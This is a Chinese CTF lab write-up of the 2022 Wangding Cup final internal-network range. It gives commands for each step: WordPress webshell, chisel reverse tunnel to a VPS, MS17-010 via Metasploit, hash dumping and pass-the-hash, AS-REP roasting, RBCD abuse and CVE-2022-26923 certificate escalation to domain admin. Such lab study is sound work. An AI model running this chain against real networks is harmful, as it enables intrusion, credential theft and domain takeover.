2022网鼎杯决赛内网靶场复现
2022网鼎杯决赛内网靶场复现
工具
目录扫描工具[[dirsreach]],[[gobuster]] , antsword,godzilla,[[fscan]],[[WPScan]],[[chisel]],[[frp]],[[Proxifier]] , [[msf]],[[WMIexec]],rdp是什么,[[CrackMapExec]]
复现
靶标介绍:
该靶场为 2022 第三届网鼎杯决赛内网靶场复盘。完成该挑战可以帮助玩家了解内网渗透中的代理转发、内网扫描、信息收集、特权提升以及横向移动技术方法,加强对域环境核心认证机制的理解,以及掌握域环境渗透中一些有趣的技术要点。该靶场共有 4 个 flag,分布于不同的靶机。
考点:
- wordpress插件rce
- MS17-010
- AS-REP Roasting
- 基于资源的约束性委派
- 智能卡身份验证出错下的CVE-2022–26923 AD域提权打法——Schannel传递证书传递到LDAPS,修改LDAP配置RBCD
渗透的过程
- 外网打点 -> 拿到第一台机子的权限
- 内网代理转发
- 信息收集
- 权限提升
- 横向渗透
- 权限维持
web渗透
信息收集,外网打点
1 | # python3 dirsearch.py -u 39.99.128.167 -e php |

存在后台/wp-admin,弱口令admin:123456`登录

说弱口令可能有点抽象,这算是概率性事件,所以这里我们可以使用wpscan扫描工具对wp网站进行扫描
1 | wpscan --url http://www.example.com |
找功能点,找漏洞点,例如文件上传等
发现theme file editor功能点,可以编辑php文件,尝试修改该文件并提交。

开源框架,根据wordpress的命名特点找到绝对路径,发现恶意php代码被执行。

1 | wpscan --url http://192.168.1.72 --enumerate ap --plugins-detection aggressive |
拿下一台主机
写入一句话木马,godzilla连接,成功,在根目录下获取flag01

后渗透
查看内网网段

传fscan,chisel,一个扫内网,一个搭隧道。
fscan
1 | wget https://github.com/shadow1ng/fscan/releases/download/1.8.2/fscan_amd64 -O fscan1 |
如果sh: 1: ./fscan: Text file busy,
发生此错误是因为当前文件已被占用,因此只要找出占用该文件的进程并杀死就可以了。
则:
1 | fuser fscan |
扫描结果
1 | # ./fscan -h 172.22.15.0/24 |
5台主机存活(alive)
端口扫描
- 88 通常与 Kerberos 验证协议相关
- 3306 mysql
- 445 SMB协议,用于文件共享,可能是一个Windows文件服务
- 135端口(135端口是WMIC默认的管理端口)
- 445端口(wimcexec使用445端口传回显) 即对方防火墙为关闭状态
- 80
- 22 ssh
主机的NetBIOS和NetInfo信息(机器的主机名和工作组)
ms17-10
poc-yaml-active-directory-certsrv-detect Active Directory证书服务
fscan的结果显然要打MS17-010,永恒之蓝
永恒之蓝(ms17-010)过TCP端口445和139来利用SMBv1和NBT中的远程代码执行漏洞,恶意代码会扫描开放445文件共享端口的Windows机器,无需用户任何操作,只要开机上网,不法分子就能在电脑和服务器中植入勒索软件、远程控制木马、虚拟货币挖矿机等恶意程序。
附上一张网上的拓扑图

隧道搭建
上传chisel,搭隧道
1 | wget https://github.com/jpillora/chisel/releases/download/v1.10.1/chisel_1.10.1_linux_amd64.gz |
VPS上,server
1 | ./chisel server -p 1234 --reverse |
172.22.15.26 机器上,client
1 | ./chisel client ip:1234 R:0.0.0.0:9383:socks |
然后连接vps:9383的socks5代理
访问 http://172.22.15.24/ 成功

MS17-010
kali,msf直接打。但是需要先在kali上也建立一下socks5访问,这样我们的脚本才能直接攻击内网服务器。
1 | nano /etc/proxychains4.conf |

msf一把梭哈
1 | proxychains4 msfconsole |
多打两次能成功。笔者大概跑了三回吧。

尝试直接获取可交互的shell,回显一直是timeout,遂尝试其他方法。
看到其他师傅的wp直接将flag down下来,但是笔者认为无法得知flag的绝对地址,遂不使用。
查看当前身份
1 | getuid |
在Windows系统中,SYSTEM用户是具有最高权限的用户账户,它拥有对系统的完全控制权。
dump 哈希
1 | hashdump |
哈希传递,wmiexec连上去
1 | proxychains4 python3 wmiexec.py administrator@172.22.15.24 -hashes :0e52d03e9b939997401466a0ec5a9cbc -codec gbk |

然后就是找flag,发现直接使用这个shell找,交互时间长且容易误触,导致需要从头来过,于是打算创建一个新用户,直接rdp连接。
1 | net user symya 123@asd /add |

**
rdp连接
win+r 然后mstsc,发现无法连接,后来才发现自己只做了浏览器的socks5代理,没有做全局代理。proxfier做全局代理
解决方法:https://blog.csdn.net/juanjuan_01/article/details/127005255
在机子中找到flag02
在该机子中存在phpstudy,发现数据库账号密码
在phpstudy唯一一个网站的根目录底下发现名为phpmyadmin,直接登录。发现有个表有一堆域账户。

导出zdoosys_user.sql,改后缀改成txt然后把邮箱提取出来
1 | import re |
弱口令接管OA
机器为:172.22.15.24
代理出来后,访问,发现弱口令admin:123456即可登录。
在团队,同事列表发现大量邮箱,可以做成email字典。和上方找到的类似。

1 | lixiuying@xiaorang.lab |
XR-0687 AS-ERP Roasting
AS-REP Roasting攻击:
Kerberos身份认证的第一个过程又被称为域身份验证,主要是为了防止与用户密码脱机爆破。如果与用户关闭了预身份验证(“Do not require Kerberos preauthentication”)的话,攻击者可以使用指定的用户向域控制器发送AS-REQ请求。然后域控制器会返回TGT票据和加密的Session-key等信息。因此攻击者就可以对获取到的加密Session-key进行离线破解,如果爆破成功,就能得到该指定用户的明文密码。这种攻击方式被称作AS-REP Roasting攻击。
AS-REP Roasting是一种对用户账号进行离线爆破的攻击方式。但是该攻击方式利用比较局限,因为其需要用户账号设置 “Do not require Kerberos preauthentication(不需要kerberos预身份验证) “ 。而该属性默认是没有勾选上的。
预身份验证是Kerberos身份验证的第一步(AS_REQ & AS_REP),它的主要作用是防止密码脱机爆破。默认情况下,预身份验证是开启的,KDC会记录密码错误次数,防止在线爆破。关于 AS_REQ & AS_REP:域内认证之Kerberos协议详解。
当关闭了预身份验证后,攻击者可以使用指定用户去请求票据,此时域控不会作任何验证就将 TGT票据 和 该用户Hash加密的Session Key返回。因此,攻击者就可以对获取到的 用户Hash加密的Session Key进行离线破解,如果破解成功,就能得到该指定用户的密码明文。
AS-REP Roasting攻击条件
域用户设置了 “Do not require Kerberos preauthentication(不需要kerberos预身份验证)”
需要一台可与KDC进行通信的主机/用户
进行攻击
上方获取大量账户数据,猜测有可能存在不需要 Kerberos 预身份验证的账户,我们使用GetNPUsers.py 来识别哪些用户账户未启用预身份验证。这个工具是专门用于获取目标域中用户的 TGT 请求。如果返回了可以进行 AS-REP Roasting 的用户信息,那么这些用户的账户很可能设置了不需要预身份验证。
跑一下,看一下是否存在有不要求Kerberos 预身份验证的账户。
1 | proxychains4 python3 GetNPUsers.py -dc-ip 172.22.15.13 xiaorang.lab/ -usersfile /home/symya/桌面/email.txt |
获取TGT票据
1 | $krb5asrep$23$lixiuying@xiaorang.lab@XIAORANG.LAB:e5b9df0a854b830ce5f6e5ffe2499d71$d9d9dc060842070cd86a8ecae9e214d3a0ca14b815dc3c39e39c02a33d8e905757ff35a61a31e6dae59482b894e391be7ac67d4f7f484c37cc1dd80c93be6c30ac3a3e8217380170959db080a27cf29adff473385a7c554fe06c8512039f90255f853ce5be6e456377d5aec2530e674ac79c79bae51343f0150105c46703f0a7f1ba694e72c5b4d24aea907e04c33579b7601bda211fa28e0704115de88b9c073ab8863108a2013e8ec447163ec837615ca4dce0798bfdc3424400bdb37a5f0c0497ba4d7b4da0b56c726aca69ef6234ce75776b5bed88c814ec1d0b75b64cb38e94ff66ef5ef3b0a4b4ac8b |
将申请到的TGT保存在文件中,使用John加载rockyou进行暴力破解。
1 | john --wordlist=/usr/share/wordlists/rockyou.txt /home/symya/桌面/hash.txt |
爆破出来为:
1 | lixiuying:winniethepooh |
找一下这个是哪台机子的账密,crackmapexec喷洒一下。使用 crackmapexec 工具尝试使用破解得到的密码进行 SMB 登录,确定哪些机器可以访问。
1 | proxychains4 -q crackmapexec smb 172.22.15.0/24 -u 'lixiuying' -p 'winniethepooh' |
发现只有只有172.22.15.35(XR-0687)可以成功登录上
rdp登录
1 | lixiuying@xaiorang.lab |
ACL Abuse+RBCD提权
用 bloodhound 收集域内信息。BloodHound 是一个强大的内网域渗透提权分析工具,它把域中各种抽象的概念和结构放在了一个能运行且直观,并易于使用的图形化功能中,自动用于提取和分析数据,高效准确地显示如何提升 AD 域中的权限。
1 | proxychains4 bloodhound-python -u lixiuying -p winniethepooh -d xiaorang.lab -c all -ns 172.22.15.13 --zip --dns-tcp |
- -d xiaorang.lab 指定目标域名。告诉 BloodHound 要查询的 Active Directory 域。
- -c all 指定要收集的命令类型。- -
all表示收集所有可用的信息,包括用户权限、组关系、ACLs 等。 - -ns 指定 DNS 服务器的 IP 地址。用于解析域名,以确保能够正确连接到 Active Directory。
- 强制使用 TCP 协议进行 DNS 查询。
可以看到 lixiuying 对 XR-0687 具有 GenericWrite 权限,那么我们就可以通过配置 RBCD 拿到 XR-0687 的权限
解释一下为什么具有 GenericWrite 权限,就可以通过配置 RBCD 拿到 XR-0687 的权限。
介绍如何滥用ACL进行域权限维持

基于资源的约束委派(Resource-Based Constrained Delegation,RBCD)是在Windows Server 2012中新引入的功能。与传统的约束委派相比,它将设置委派的权限交还给了服务资源自身,也就是说服务自己可以决定“谁可以对我进行委派。”基于资源的约束委派的关键在于msDS-AllowedToActOnBehalfOfOtherIdentity属性的设置。
使用impacket工具
首先添加一个机器账户
1 | proxychains4 python3 addcomputer.py xiaorang.lab/lixiuying:'winniethepooh' -dc-ip 172.22.15.13 -dc-host xiaorang.lab -computer-name 'TEST$' -computer-pass '123@asd' |
-
xiaorang.lab/lixiuying:'winniethepooh'指定域,用户,密码 - -dc-ip 172.22.15.13 指定域控制器的 IP 地址。以便执行对 Active Directory 的更改。
- -dc-host xiaorang.lab 指定域控制器的主机名。
- -computer-name ‘TEST$’ 账户名称以
$结尾表示这是一个计算机账户,这种账户可以用作委派的目标。 - 为新创建的计算机账户设置密码。
rbcd攻击
1 | proxychains4 python3 rbcd.py xiaorang.lab/lixiuying:'winniethepooh' -dc-ip 172.22.15.13 -action write -delegate-to 'XR-0687$' -delegate-from 'TEST$' |
-
xiaorang.lab/lixiuying:'winniethepooh'指定域,用户,密码 -
-dc-ip 172.22.15.13 定域控制器的 IP 地址 - -action write 指定要执行的操作类型。 在 RBCD 攻击中,
write操作允许脚本修改或添加委派权限。 -
-delegate-to 'XR-0687$' : 指定委派的目标账户。 -
-delegate-from 'TEST$' : 指定委派的来源账户。
它允许用户利用计算机账户(TEST$)的权限,将这些权限委派给目标计算机账户(XR-0687$)。成功后,攻击者可以利用XR-0687$进行更高级别的操作,甚至可能获得管理员权限。
得到机器码,TEST$ 计算机账户的 SID,表示账户在域中的唯一标识
1 | TEST$ (S-1-5-21-3745972894-1678056601-2622918667-1147) |
下一步是创建票据
在创建票据之前,我们先来讲讲Kerberos 身份认证流程
Kerberos 是一种基于票证的身份验证协议。它基本上是这样工作的:
1.客户端向KDC(Key Distribution Center,通常是域控制器)请求TGT(Ticket Granting Ticket)。请求用户的密钥之一用于预身份验证。 TGT 由身份验证服务 (AS) 提供。客户端的请求被称为AS-REQ,应答被称为AS-REP。
2.客户端使用 TGT 向 KDC 请求 ST(服务票证)。该票证由票证授予服务 (TGS) 提供。客户端的请求被称为TGS-REQ,应答被称为TGS-REP。
3.客户端使用ST(服务票证)来访问服务。客户端对服务的请求被称为调用AP-REQ,服务的响应被称为调用AP-REP。
4.两种票证(TGT 和 ST)通常都包含加密的 PAC(特权身份验证证书),目标服务将读取一组信息来决定身份验证用户是否可以访问该服务(用户 ID、组成员身份等) 。

黄金票据
黄金票证是一种权限维持手段,攻击者获得了对 Active Directory 密钥分发服务帐户 (KRBTGT) 的控制权,并使用该帐户伪造有效的 Kerberos 票证授予票证 (TGT)。这使攻击者能够访问 Active Directory 域上的任何资源,如果有 KRBTGT 哈希,您可以伪造自己的 TGT,其中包括想要的任何组成员身份的 PAC 数据
利用条件:
黄金票据的使用的必要票件是获取域中 krbtgt 用户使用的加密密钥之一,然而加密密钥之一就是该账户的NTLM HASH值
白银票据是伪造的 Kerberos Ticket Grant Service (TGS) 票证,银票仅允许攻击者伪造特定服务的票证授予服务 (TGS) 票据。TGS 票证使用服务的密码哈希值进行加密,因此如果攻击者窃取了服务帐户的哈希值,就可以生成白银票据。
白银票据所需的利用条件和黄金票据是相同的,只是秘钥换成了对应服务的机器账户 Hash(尾部带$的均为机器账户)
创建票据
由于我们目前只有机器账户,所以我们选择生成的是白银票据
1 | proxychains4 python3 getST.py xiaorang.lab/'TEST$':'123@asd' -spn cifs/XR-0687.xiaorang.lab -impersonate Administrator -dc-ip 172.22.15.13 |
- -spn cifs/XR-0687.xiaorang.lab 指定要获取票据的服务主体名称。 确保票据是针对正确服务生成的。
- -impersonate Administrator 指定要假冒的用户账户。 以管理员身份获取权限。
导入票据
1 | export KRB5CCNAME=Administrator@cifs_XR-0687.xiaorang.lab@XIAORANG.LAB.ccache |
- 设置环境变量以指定票据缓存文件,允许后续的身份验证使用该票据
报错:[Errno 111] Connection refused,改/etc/hosts
无密码连接
1 | proxychains4 -q python3 psexec.py -k -no-pass -dc-ip 172.22.15.13 administrator@XR-0687.xiaorang.lab -codec gbk |
- -q 安静模式,不输出不必要的信息
- 使用
psexec工具在远程机器上执行命令。 - -k 使用 Kerberos 票据进行身份验证。
- -no-pass 不需要密码进行连接。
-
administrator@XR-0687.xiaorang.lab指定要登录的目标机器和账户。 - -codec gbk 指定字符编码,用于确保正确处理字符集。

得flag03,猜测与flag02中的路径一致,直接读取,成功
1 | type C:\Users\Administrator\flag\flag03.txt |

Active Directory 域权限提升漏洞(CVE-2022-26923)
2022年5月10日,微软发布补丁修复了一个Active Directory域权限提升漏洞(CVE-2022-26923)。该漏洞是由于对用户属性的不正确获取,允许低权限用户在安装了Active Directory证书服务(AD CS)的域环境中将权限提升至域管理员。
默认情况下,域用户账户可以注册User证书模板,计算机账户可以注册Machine证书模板。两个证书模板都允许执行客户端身份验证。
在申请计算机证书时,ADCS将计算机对象的dNSHostName属性的值添加到证书的主题备用名称中。当我们使用证书进行身份验证是,KDC会尝试将这个dNSHOstName属性值从证书映射到目标账户。
因此,如果我们将某个可控计算机账户(Test1$)的dNSHostName值改为与域控制器的计算机账户相同的dNSHostName值,那么就意味着我们可以欺骗ADCS,并最终申请到域控制器的AD证书。
简述:通过构造机器账户并篡改dNSHostName属性,在证书申请时AD CS将dNSHostName属性嵌入证书中,进而机器账户获得高权限的域控身份。
简单的来说:
CVE-2022-26923 是一个影响 Active Directory 证书服务 (AD CS) 的权限提升漏洞。它允许低权限用户通过篡改计算机账户的 dNSHostName 属性来获取域控制器的高权限访问。攻击者可以利用此漏洞申请域控制器的证书,从而在域环境中获取管理员权限。
攻击流程概述
- 添加机器账户:创建一个新的计算机账户,并将其
dNSHostName属性设置为域控制器的主机名。 - 申请证书:利用新创建的机器账户请求证书。
- 获取票据:通过证书认证获得访问权限。
- 利用 RBCD:将获得的证书配置到 RBCD,借此获得对域控制器的权限。
- 执行攻击:通过
psexec连接到域控制器并读取敏感信息(如 flag)。
添加一个账户,然后设置 DNS Host Name 为域控的 XR-DC01.xiaorang.lab。
1 | proxychains4 -q certipy account create -user 'test2' -pass '123@asd' -dns XR-DC01.xiaorang.lab -dc-ip 172.22.15.13 -u lixiuying -p 'winniethepooh' |
-
certipy account create: 使用 Certipy 工具创建计算机账户。 -
-user 'test2' : 设置要创建的账户名。 -
-pass '123@asd' : 设置新账户的密码。 -
-dns XR-DC01.xiaorang.lab: 设置dNSHostName为域控制器的主机名。 -
-dc-ip 172.22.15.13: 指定域控制器的 IP 地址。 -
-u lixiuying -p 'winniethepooh' : 提供有权限执行该操作的用户凭据。

然后用这个账户向 XR-CA请求证书
1 | proxychains4 -q certipy req -u 'test2$@xiaorang.lab' -p '123@asd' -ca 'xiaorang-XR-CA-CA' -target 172.22.15.18 -template 'Machine' |
-
certipy req: 请求证书的命令。 -
-u 'test2$@xiaorang.lab' : 使用创建的机器账户请求证书。 -
-p '123@asd' : 账户密码。 -
-ca 'xiaorang-XR-CA-CA' : 指定要请求证书的 CA 名称。 -
-target 172.22.15.18: 指定目标 CA 的 IP 地址。 -
-template 'Machine' : 使用 Machine 证书模板。

检索 Hash 生成票据
1 | proxychains4 -q certipy auth -pfx xr-dc01.pfx -dc-ip 172.22.15.13 |
-
certipy auth: 使用生成的 PFX 证书进行认证。 -
-pfx xr-dc01.pfx: 指定之前申请到的 PFX 证书文件。

报错
KDC_ERR_PADATA_TYPE_NOSUPP
在尝试使用智能卡登录时,无法找到合适的证书。可能是由于查询了错误的认证机构(CA)
当域控制器没有安装智能卡(域控制器或域控制器认证模板)的证书时,也可能发生这种情况。
尝试 Schannel,通过 Schannel将证书传递到 LDAPS, 修改 LDAP 配置 (例如配置 RBCD / DCSync), 进而获得域控权限。
转换证书格式 ,把pfx导出为.key 和.crt 两个文件。密码为空密码即可
1 | openssl pkcs12 -in xr-dc01.pfx -nodes -out test.pem |
-
openssl pkcs12: 将 PFX 格式的证书转换为 PEM 格式。 -
test.pem: 输出的 PEM 文件,包含证书和私钥。
打一个证书传递攻击
下载PassTheCert.py
1 | proxychains4 -q passthecert.py -action whoami -crt test.crt -key test.key -domain xiaorang.lab -dc-ip 172.22.15.13 |
下一步将证书配置到域控的 RBCD
1 | proxychains4 -q passthecert.py -action write_rbcd -crt test.crt -key test.key -domain xiaorang.lab -dc-ip 172.22.15.13 -delegate-to 'XR-DC01$' -delegate-from 'test2$' |
将证书配置到 RBCD,使得 test2$ 可以代理 XR-DC01$,从而获取域控的高权限

申请ST
1 | proxychains4 -q getST.py xiaorang.lab/'test2$':'123@asd' -dc-ip 172.22.15.13 -spn cifs/XR-DC01.xiaorang.lab -impersonate Administrator |
-
getST.py: 申请服务票据的脚本。 -
-spn cifs/XR-DC01.xiaorang.lab: 指定要申请的服务主体名称。 -
-impersonate Administrator: 以管理员身份获取服务票据。

导入申请的票据
1 | export KRB5CCNAME=Administrator@cifs_XR-DC01.xiaorang.lab@XIAORANG.LAB.ccache |
- 设置环境变量以指定 Kerberos 票据缓存,允许后续的身份验证使用该票据。
连接,也要修改/etc/hosts
1 | proxychains4 python3 psexec.py Administrator@XR-DC01.xiaorang.lab -k -no-pass -dc-ip 172.22.15.13 |
-
psexec.py: 使用 psexec 工具连接到目标机器。 -
-k: 使用 Kerberos 票据进行身份验证。 -
-no-pass: 不需要密码进行连接。
读flag
1 | type C:\Users\Administrator\flag\flag04.txt |

